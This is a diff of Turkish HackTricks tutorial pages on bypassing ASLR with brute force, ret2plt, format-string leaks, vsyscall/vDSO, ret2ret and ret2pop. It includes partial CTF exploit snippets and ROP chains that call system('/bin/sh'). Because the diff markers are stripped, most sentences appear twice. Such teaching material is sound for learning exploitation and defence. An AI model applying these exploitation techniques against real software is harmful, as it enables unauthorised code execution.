AWS Hacking öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Temel Bilgiler
**Adres Alanı Düzeni Rastgeleleştirme (ASLR)**, işletim sistemlerinde kullanılan bir güvenlik tekniğidir ve sistem ve uygulama süreçleri tarafından kullanılan bellek adreslerini **rastgeleleştirir**. Böylece, belirli süreçlerin ve verilerin konumunu, özellikle tampon taşmalarını hafifletirken, bir saldırganın tahmin etmesini önemli ölçüde zorlaştırır.
**Adres Alanı Düzeni Rastgeleleştirme (ASLR)**, işletim sistemlerinde kullanılan bir güvenlik tekniğidir ve sistem ve uygulama süreçlerinin kullandığı bellek adreslerini **rastgeleleştirir**. Böyle yaparak, belirli süreçlerin ve verilerin konumunu, özellikle yığın, bellek havuzu ve kütüphaneleri tahmin etmeyi önemli ölçüde zorlaştırarak, belirli türdeki saldırıları, özellikle tampon taşmalarını azaltır.
### **ASLR Durumunu Kontrol Etme**
Linux sistemlerinde ASLR durumunu **kontrol etmek** için, ASLR'nin uygulandığı türü belirleyen **`/proc/sys/kernel/randomize_va_space`** dosyasından değeri okuyabilirsiniz:
Linux sistemlerinde ASLR durumunu **kontrol etmek** için, ASLR'nin uygulandığı türü belirlemek için **`/proc/sys/kernel/randomize_va_space`** dosyasından değeri okuyabilirsiniz:
* **0**: Rastgeleleştirme yok. Her şey statiktir.
* **1**: Muhafazakar rastgeleleştirme. Paylaşılan kütüphaneler, yığın, mmap(), VDSO sayfası rastgeleleştirilir.
* **2**: Tam rastgeleleştirme. Muhafazakar rastgeleleştirme tarafından rastgeleleştirilen öğelerin yanı sıra `brk()` ile yönetilen bellek de rastgeleleştirilir.
* **2**: Tam rastgeleleştirme. Muhafazakar rastgeleleştirme tarafından rastgeleleştirilen öğelerin yanı sıra `brk()` ile yönetilen bellek rastgeleleştirilir.
ASLR durumunu aşağıdaki komutla kontrol edebilirsiniz:
```bash
@ -32,7 +33,7 @@ cat /proc/sys/kernel/randomize_va_space
```
### **ASLR'nin Devre Dışı Bırakılması**
ASLR'yi **devre dışı bırakmak** için `/proc/sys/kernel/randomize_va_space` değerini **0** olarak ayarlarsınız. ASLR'nin devre dışı bırakılması genellikle test veya hata ayıklama senaryoları dışında önerilmez. İşte nasıl devre dışı bırakabileceğiniz:
ASLR'yi **devre dışı bırakmak** için `/proc/sys/kernel/randomize_va_space` değerini **0** olarak ayarlarsınız. ASLR'nin devre dışı bırakılması genellikle test veya hata ayıklama senaryoları dışında önerilmez. İşte nasıl devre dışı bırakılacağı:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
@ -49,7 +50,7 @@ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **Yeniden Başlatmalara Karşı Kalıcılık**
`echo` komutları ile yapılan değişiklikler geçicidir ve yeniden başlatıldığında sıfırlanacaktır. Değişikliği kalıcı hale getirmek için `/etc/sysctl.conf` dosyasını düzenleyip aşağıdaki satırı eklemeniz veya değiştirmeniz gerekmektedir:
`echo` komutları ile yapılan değişiklikler geçicidir ve yeniden başlatıldığında sıfırlanacaktır. Değişikliği kalıcı hale getirmek için `/etc/sysctl.conf` dosyasını düzenlemeniz ve aşağıdaki satırı eklemeniz veya değiştirmeniz gerekmektedir:
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
@ -67,30 +68,30 @@ Bu, ASLR ayarlarınızın yeniden başlatmalar arasında kalmasını sağlayacak
PaX işlem adres alanını **3 gruba** ayırır:
* **Kod ve veri** (başlatılmış ve başlatılmamış): `.text`, `.data` ve `.bss` —> `delta_exec` değişkeninde **16 bit** entropi. Bu değişken her işlemle rastgele olarak başlatılır ve başlangıç adreslerine eklenir.
* `mmap()` tarafından ayrılan **Bellek** ve **paylaşılan kütüphaneler** —> **16 bit**, `delta_mmap` olarak adlandırılır.
* **Kod ve veri** (başlatılmış ve başlatılmamış): `.text`, `.data` ve `.bss` —> `delta_exec` değişkeninde **16 bit** entropi. Bu değişken her işlemle rastgele başlatılır ve başlangıç adreslerine eklenir.
* `mmap()` tarafından ayrılan **Bellek** ve **paylaşılan kütüphaneler** —> **16 bit**, `delta_mmap` adı verilir.
* **Yığın** —> **24 bit**, `delta_stack` olarak adlandırılır. Ancak, etkili olarak **11 bit** kullanır (10. ile 20. bayt arasında dahil), **16 bayt**'a hizalanmıştır —> Bu, **524,288 olası gerçek yığın adresi**ne yol açar.
Önceki veriler 32 bit sistemler içindir ve azaltılmış son entropi, saldırı başarılı bir şekilde tamamlanana kadar işlemi tekrar tekrar deneyerek ASLR'yi atlatmayı mümkün kılar.
#### Kaba kuvvet fikirleri:
* **Kabul edilebilir büyüklükte bir taşma** ile **büyük bir NOP kaydı barındırabilecek** kadar büyükse, yığında adresleri kaba kuvvetle deneyebilir ve akışın **NOP kaydının bir kısmının üzerinden atlamasını** sağlayabilirsiniz.
* Taşma yeterince büyük değilse ve saldırı yerel olarak çalıştırılabilirse, **NOP kaydını ve shellcode'u bir ortam değişkenine eklemek** mümkündür.
* **Kabul edilebilir büyüklükte bir taşma** varsa ve **kabuk kodundan önce büyük bir NOP kaydı barındırabilirseniz**, yığında adresleri kaba kuvvetle deneyebilir ve akışın **NOP kaydının bir kısmının üzerinden atlamasını** sağlayabilirsiniz.
* Taşma o kadar büyük değilse ve saldırı yerel olarak çalıştırılabilirse, **NOP kaydını ve kabuk kodunu bir ortam değişkenine eklemek** mümkündür.
* Saldırı yerel ise, libc'nin temel adresini kaba kuvvetle deneyebilirsiniz (32 bit sistemler için faydalıdır):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
* Uzak bir sunucuyu hedef alıyorsanız, `usleep` `libc` fonksiyonunun adresini **kaba kuvvet uygulayabilirsiniz**, örneğin 10'u argüman olarak geçirerek. Eğer sunucu **cevap vermek için 10 saniye daha fazla zaman alıyorsa**, bu fonksiyonun adresini buldunuz demektir.
* Uzak bir sunucuyu hedef alıyorsanız, `libc` fonksiyonu `usleep`'in adresini **10 (örneğin) olarak argüman geçerek** **brute-force** yapabilirsiniz. Eğer sunucu **cevap vermek için 10 saniye daha fazla zaman alıyorsa**, bu fonksiyonun adresini buldunuz demektir.
{% hint style="success" %}
64 bit sistemlerde entropi çok daha yüksektir ve bu mümkün olmamalıdır.
{% endhint %}
### 64 bit yığın kaba kuvvet saldırısı
### 64 bit yığın brute-force
Çevre değişkenleriyle yığının büyük bir kısmını işgal etmek ve ardından binleri/yüzleri kez yerel olarak kötüye kullanmak mümkündür.\
Aşağıdaki kod, yığında **yalnızca bir adres seçmenin** ve her **birkaç yüz kez çalıştırmanın** bu adresin **NOP talimatını** içereceğini göstermektedir:
Çevresel değişkenlerle yığının büyük bir kısmını işgal etmek mümkündür ve ardından binayı yüzlerce/binlerce kez yerel olarak kötüye kullanmak için deneme yapılabilir.\
Aşağıdaki kod, yığında **sadece bir adres seçmenin** mümkün olduğunu ve her **birkaç yüz çalıştırmada** bu adresin **NOP talimatını** içereceğini göstermektedir:
```c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
@ -158,26 +159,26 @@ pass
### Yerel Bilgiler (`/proc/[pid]/stat`)
Bir işlemin **`/proc/[pid]/stat`** dosyası her zaman herkes tarafından okunabilir ve **şunlar gibi ilginç** bilgiler içerir:
Bir işlemin **`/proc/[pid]/stat`** dosyası her zaman herkes tarafından okunabilir ve içerisinde şu gibi **ilginç** bilgiler bulunur:
- **startcode** & **endcode**: Binary'nin **TEXT** kısmının üstünde ve altındaki adresler
- **startstack**: **stack**'in başlangıç adresi
- **start\_data** & **end\_data**: **BSS**'nin bulunduğu adreslerin üstünde ve altındaki adresler
- **startcode** & **endcode**: **BINARY**'nin **TEXT** kısmının üstünde ve altındaki adresler
- **startstack**: **Stack**'in başlangıç adresi
- **start\_data** & **end\_data**: **BSS**'nin üstünde ve altındaki adresler
- **kstkesp** & **kstkeip**: Mevcut **ESP** ve **EIP** adresleri
- **arg\_start** & **arg\_end**: **cli argümanlarının** bulunduğu adreslerin üstünde ve altındaki adresler
- **env\_start** & **env\_end**: **çevre değişkenlerinin** bulunduğu adreslerin üstünde ve altındaki adresler
- **arg\_start** & **arg\_end**: **cli argümanlarının** üstünde ve altındaki adresler
- **env\_start** & **env\_end**: **Çevre değişkenlerinin** üstünde ve altındaki adresler
Bu nedenle, saldırgan, söz konusu binary'nin aynı bilgisayarda olduğu ve bu binary'nin ham argümanlardan taşma beklemiyor olması durumunda, ancak bu dosyayı okuduktan sonra oluşturulabilecek farklı bir **girdiden taşma bekliyorsa**, saldırganın **bu dosyadan bazı adresleri alıp bunlardan ofsetler oluşturması mümkündür**.
Bu nedenle, saldırgan, söz konusu binary'nin taşmadan beklenmedik bir **girişten değil, bu dosyayı okuduktan sonra oluşturulabilecek farklı bir girişten** kaynaklanması durumunda ve saldırgan, **bu dosyadan bazı adresleri alıp bunlardan exploit için ofsetler oluşturabilir**.
{% hint style="success" %}
Bu dosya hakkında daha fazla bilgi için [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) adresine giderek `/proc/pid/stat`'ı arayın.
Bu dosya hakkında daha fazla bilgi için [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) adresinde `/proc/pid/stat` araması yapın.
{% endhint %}
### Bir sızıntıya sahip olmak
- **Zorluk, bir sızıntı vermek**
Eğer bir sızıntı verilirse (kolay CTF zorlukları), bu sızıntılardan ofsetler hesaplayabilirsiniz (örneğin, söz konusu sistemin kullandığı kesin libc sürümünü bildiğinizi varsayalım). Bu örnek exploit, [**buradan örnekten çıkarılmıştır**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (daha fazla ayrıntı için o sayfaya bakın):
Eğer bir sızıntı verilirse (kolay CTF zorlukları), bu sızıntılardan ofsetler hesaplayabilirsiniz (örneğin, söz konusu sistemin kullandığı kesin libc sürümünü bildiğinizi varsayarsak). Bu örnek exploit, [**buradaki örneğin**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) çıkarımıdır (daha fazla ayrıntı için o sayfaya bakın):
```python
from pwn import *
@ -204,7 +205,7 @@ p.interactive()
```
* **ret2plt**
Tampon taşması kullanılarak **ret2plt**'yi istismar etmek, bir libc fonksiyonunun adresini dışarı sızdırmak mümkün olabilir. Kontrol edin:
Tampon taşması kullanılarak **ret2plt**'yi istismar etmek, bir libc fonksiyonunun adresini dışarı sızdırmak mümkün olacaktır. Kontrol edin:
{% content-ref url="ret2plt.md" %}
[ret2plt.md](ret2plt.md)
@ -212,7 +213,7 @@ Tampon taşması kullanılarak **ret2plt**'yi istismar etmek, bir libc fonksiyon
* **Format Strings Arbitrary Read**
Ret2plt'de olduğu gibi, bir format dizileri zafiyeti aracılığıyla keyfi okuma yeteneğiniz varsa, bir **libc fonksiyonunun** adresini GOT'tan dışarı sızdırmak mümkündür. Aşağıdaki [**örnek buradan alınmıştır**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
Ret2plt'de olduğu gibi, bir format dizileri zafiyeti aracılığıyla keyfi okuma yetkiniz varsa, **GOT**'dan bir **libc fonksiyonunun** adresini dışarı sızdırmak mümkündür. Aşağıdaki [**örnek buradan alınmıştır**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
@ -239,12 +240,12 @@ Stack içindeki adresleri istismar ederek ASLR'yi atlamayı deneyin:
### vsyscall
**`vsyscall`** mekanizması, belirli sistem çağrılarının çekirdek parçası olmalarına rağmen kullanıcı alanında yürütülmesine izin vererek performansı artırmak için hizmet verir. **Vsyscalls**'ın kritik avantajı, **ASLR**'ye (Adres Alanı Düzeni Rastgeleleştirme) tabi olmayan **sabit adreslerinde** yatmaktadır. Bu sabit doğa, saldırganların adreslerini belirlemek ve bir saldırıda kullanmak için bir bilgi sızıntısı zafiyetine ihtiyaç duymamaları anlamına gelir.\
Ancak, burada çok ilginç araçlar bulunmayacak (örneğin bir `ret;` eşdeğerini almak mümkündür)
**`vsyscall`** mekanizması, belirli sistem çağrılarının çekirdek parçası olmalarına rağmen kullanıcı alanında yürütülmesine izin vererek performansı artırmayı amaçlar. **vsyscalls**'ın kritik avantajı, **ASLR**'ye (Adres Alanı Düzeni Rastgeleleştirme) tabi olmayan **sabit adreslerinde** yatmaktadır. Bu sabit doğa, saldırganların adreslerini belirlemek ve bir saldırıda kullanmak için bir bilgi sızıntısı zafiyetine ihtiyaç duymamaları anlamına gelir.\
Ancak, burada çok ilginç araçlar bulunmayacaktır (örneğin bir `ret;` eşdeğeri alınabilir)
(Aşağıdaki örnek ve kod [**bu yazıdan alınmıştır**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation))
(Örnek ve kod [**bu yazıdan**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation) alınmıştır)
Örneğin, bir saldırgan, bir saldırıda `0xffffffffff600800` adresini kullanabilir. Bir `ret` talimatına doğrudan atlamaya çalışmak, birkaç araç yürütüldükten sonra kararsızlığa veya çökmelere yol açabilir, ancak yürütmenin **vsyscall** bölümü tarafından sağlanan bir `syscall`'ın başlangıcına atlaması başarılı olabilir. Bir **ROP** aracını dikkatlice yerleştirerek, saldırgan bu **vsyscall** adresine yürütmeyi yönlendiren bir **ROP** aracı yerleştirerek, bir saldırının bu kısmı için **ASLR**'yi atlamaya gerek duymadan kod yürütme başarabilir.
Örneğin, bir saldırgan, bir saldırıda `0xffffffffff600800` adresini kullanabilir. Bir `ret` talimatına doğrudan atlamaya çalışmak, birkaç araç yürütüldükten sonra kararsızlığa veya çökmelere yol açabilirken, **vsyscall** bölümü tarafından sağlanan bir `syscall`'ın başına atlamak başarılı olabilir. Bir **ROP** aracını dikkatlice yerleştirerek bu **vsyscall** adresine yürütmeyi yönlendiren bir saldırgan, bu saldırının bu kısmı için **ASLR**'yi atlamaya gerek duymadan kod yürütme başarısına ulaşabilir.
```
ef➤ vmmap
Start End Offset Perm Path
@ -287,7 +288,7 @@ gef➤ x/4i 0xffffffffff600800
```
### vDSO
Bu nedenle, **kernel CONFIG\_COMPAT\_VDSO ile derlenmişse vdso'nun adresi rastgele hale getirilmeyeceğinden ASLR'yi atlayabilirsiniz**. Daha fazla bilgi için kontrol edin:
Bu nedenle, **kernel CONFIG\_COMPAT\_VDSO ile derlenmişse vdso'nun adresi rastgele olmayacağından ASLR'yi atlayabilirsiniz**. Daha fazla bilgi için şuraya bakın:
{% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %}
[ret2vdso.md](../../rop-return-oriented-programing/ret2vdso.md)

View file

@ -1,22 +1,8 @@
# Ret2plt
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
## Temel Bilgiler
Bu teknikteki amaç, **PLT'den bir işlevin adresini sızdırmak** ve ASLR'yi atlamak için kullanmaktır. Bu, örneğin, libc'den `puts` işlevinin adresini sızdırırsanız, ardından **`libc`'nin tabanını hesaplayabilir** ve diğer işlevlere erişmek için **`system`** gibi işlevlere erişmek için ofsetleri hesaplayabilirsiniz.
Bu teknikteki amaç, ASLR'yi atlamak için PLT'den bir işlevin adresini sızdırmaktır. Bu, örneğin, libc'ten `puts` işlevinin adresini sızdırırsanız, ardından `libc`'nin tabanını hesaplayabilir ve diğer işlevlere erişmek için ofsetleri hesaplayabilirsiniz, örneğin `system`.
Bu, `pwntools` yüküyle şu şekilde yapılabilir ([**buradan**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
```python
@ -37,15 +23,15 @@ elf.plt['puts'],
elf.symbols['main']
)
```
**`puts`** (PLT adresinden kullanılarak) `puts`'ın GOT'ta (Global Offset Table) bulunan adresi ile çağrıldığını gözlemleyin. Bu, `puts` GOT girdisini yazdırdığında, bu girdinin hafızadaki `puts`'ın tam adresini içereceği anlamına gelir.
**`puts`** fonksiyonunun (PLT'den adresi kullanarak) `puts`'un GOT'ta (Global Offset Table) bulunan adresi ile çağrıldığını göz önünde bulundurun. Bu, `puts` GOT girdisini yazdırdığında, bu girişin bellekteki `puts` adresini tam olarak içereceği için geçerlidir.
Ayrıca, exploit içinde `main`in adresinin kullanıldığına dikkat edin, böylece `puts` işlemini bitirdiğinde, **binary çıkış yapmak yerine `main`i tekrar çağırır** (bu nedenle sızdırılan adres geçerli olmaya devam eder).
Ayrıca, sömürüde `main` adresinin nasıl kullanıldığına dikkat edin, böylece `puts` işlemini bitirdiğinde, **binary çıkış yapmak yerine tekrar `main`'i çağırır** (bu nedenle sızdırılan adres geçerli olmaya devam eder).
{% hint style="danger" %}
Bu işlem için çalışması için **binary'nin PIE ile derlenmemiş olması** veya PLT, GOT ve main adreslerini bilmek için **PIE'yi atlatmak için bir sızıntı bulmuş olmanız** gerekir. Aksi takdirde, önce PIE'yi atlatmanız gerekir.
Bu işin çalışması için, **binary'nin PIE ile derlenmemiş olması** veya PLT, GOT ve main adreslerini bilmek için **PIE'yi atlamak için bir sızıntı bulmuş olmanız** gerekir. Aksi takdirde, önce PIE'yi atlamalısınız.
{% endhint %}
Bu atlatmanın [**tam örneğini burada bulabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Bu, o **örneğin** son exploit'iydi:
Bu atlamayı [**burada tam bir örnekte bulabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Bu, o **örneğin** son sömürüsüydü:
```python
from pwn import *
@ -84,6 +70,6 @@ p.interactive()
## Diğer örnekler ve Referanslar
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
* 64 bit, ASLR etkin ancak PIE yok, ilk adım, bir taşma oluşturarak canary'nin 0x00 baytına kadar doldurulması ve ardından puts'u çağırarak sızdırmaktır. Canary ile puts'u çağırmak için ROP cihazı oluşturulur ve GOT'tan puts adresini sızdırmak için bir ROP cihazı ve `system('/bin/sh')` çağırmak için bir ROP cihazı oluşturulur.
* 64 bit, ASLR etkin ancak PIE yok, ilk adım canary'nin 0x00 byte'ına kadar taşma doldurmak ve ardından puts'u çağırarak sızdırmaktır. Canary ile puts'u çağırmak için ROP cihazı oluşturulur ve GOT'tan puts adresini sızdırmak için bir ROP cihazı ve `system('/bin/sh')` çağırmak için bir ROP cihazı kullanılır.
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
* 64 bit, ASLR etkin, canary yok, ana fonksiyondan bir çocuk fonksiyonundan yığın taşması. Puts'u çağırmak için ROP cihazı oluşturarak GOT'tan puts adresini sızdırmak ve ardından bir tane cihazı çağırmak için.
* 64 bit, ASLR etkin, canary yok, ana fonksiyondan bir çocuk fonksiyonundan yığın taşması. Puts'u çağırmak için ROP cihazı kullanarak GOT'tan puts adresini sızdırmak ve ardından bir tek cihazı çağırmak.

View file

@ -1,57 +1,59 @@
# Ret2ret & Ret2pop
{% hint style="success" %}
AWS Hacking'ı öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'ı öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR gönderin.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Ret2ret
Bu teknikteki ana **amaç**, **ASLR'yi atlayarak yığın içindeki mevcut bir işaretçiyi kötüye kullanmaktır**.
Bu teknikteki ana **amaç**, **mevcut bir işaretçiyi kötüye kullanarak ASLR'yi atlamaya çalışmaktır**.
Temelde, yığın taşmaları genellikle dizilerden kaynaklanır ve bellekte **diziler sonunda bir nul bayt ile biter**. Bu, yığında zaten var olan bir işaretçinin işaret ettiği yeri azaltmaya çalışma olanağı sağlar. Dolayısıyla, eğer yığın `0xbfffffdd` içeriyorsa, bu taşma onu `0xbfffff00`'e dönüştürebilir (son sıfır baytına dikkat edin).
Temelde, yığın taşmaları genellikle dizilerden kaynaklanır ve **diziler bellekte sonunda bir nul bayt ile biter**. Bu, yığında zaten mevcut olan bir işaretçinin gösterdiği yeri azaltmaya çalışma olanağı sağlar. Dolayısıyla, eğer yığın `0xbfffffdd` içeriyorsa, bu taşma onu `0xbfffff00`'e dönüştürebilir (son sıfır baytına dikkat edin).
Eğer bu adres yığındaki shellcode'umuza işaret ediyorsa, akışın bu adrese ulaşmasını sağlamak için **`ret` komutuna adresler ekleyerek** bu adrese ulaşılabilir.
Eğer o adres yığında shellcode'umuza işaret ediyorsa, akışın o adrese ulaşmasını sağlamak için **`ret` komutuna adresler ekleyerek** bu adrese ulaşılabilir.
Bu nedenle saldırı şu şekilde olacaktır:
* NOP kaydırıcı
* NOP kaydırıcısı
* Shellcode
* Yığını EIP'den **`ret` adreslerine (RET kaydırıcı) kadar üzerine yazın**
* Yığını değiştirerek bir adresi **NOP kaydırıcısına işaret edecek şekilde 0x00 ekleyin**
* Yığını EIP'den **`ret` adreslerine kadar üzerine yazın** (RET kaydırıcısı)
* Yığını değiştirerek bir adresi **0x00** ile ekleyerek (yığınındaki bir adresi NOP kaydırıcısına işaret edecek şekilde değiştirerek)
[**Bu bağlantıyı**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) tıklayarak savunmasız bir ikili örneğini ve [**bu bağlantıda**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) saldırıyı görebilirsiniz.
[**Bu bağlantıyı takip ederek**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) savunmasız bir ikili örneğini ve [**bu bağlantıdaki**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) saldırıyı görebilirsiniz.
## Ret2pop
Eğer **değiştirmek istemediğiniz yığındaki mükemmel bir işaretçi bulabilirseniz** (`ret2ret`te en düşük baytı `0x00` ile değiştirdik), aynı `ret2ret` saldırısını gerçekleştirebilirsiniz, ancak **RET kaydırıcının uzunluğu 1 azaltılmalıdır** (böylece son `0x00` veriye işaret eden mükemmel işaretçiden önceki veriyi üzerine yazar), ve **RET kaydırıcının son** adresi **`pop <reg>; ret`'ye işaret etmelidir**.\
Eğer **değiştirmek istemediğiniz yığında mükemmel bir işaretçi bulabilirseniz** (`ret2ret`te en düşük baytı `0x00` ile değiştirdik), aynı `ret2ret` saldırısını gerçekleştirebilirsiniz, ancak **RET kaydırıcısının uzunluğu 1 azaltılmalıdır** (böylece son `0x00` mükemmel işaretçiden önceki veriyi üzerine yazar), ve **RET kaydırıcısının son** adresi **`pop <reg>; ret`'ye işaret etmelidir**.\
Bu şekilde, **mükemmel işaretçiden önceki veri** yığından kaldırılacaktır (bu, `0x00` tarafından etkilenen veridir) ve **son `ret` mükemmel adrese işaret edecektir** ve yığında herhangi bir değişiklik olmadan.
[**Bu bağlantıyı**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) tıklayarak savunmasız bir ikili örneğini ve [**bu bağlantıda**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) saldırıyı görebilirsiniz.
[**Bu bağlantıyı takip ederek**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) savunmasız bir ikili örneğini ve [**bu bağlantıdaki**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) saldırıyı görebilirsiniz.
## Referanslar
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md)
{% hint style="success" %}
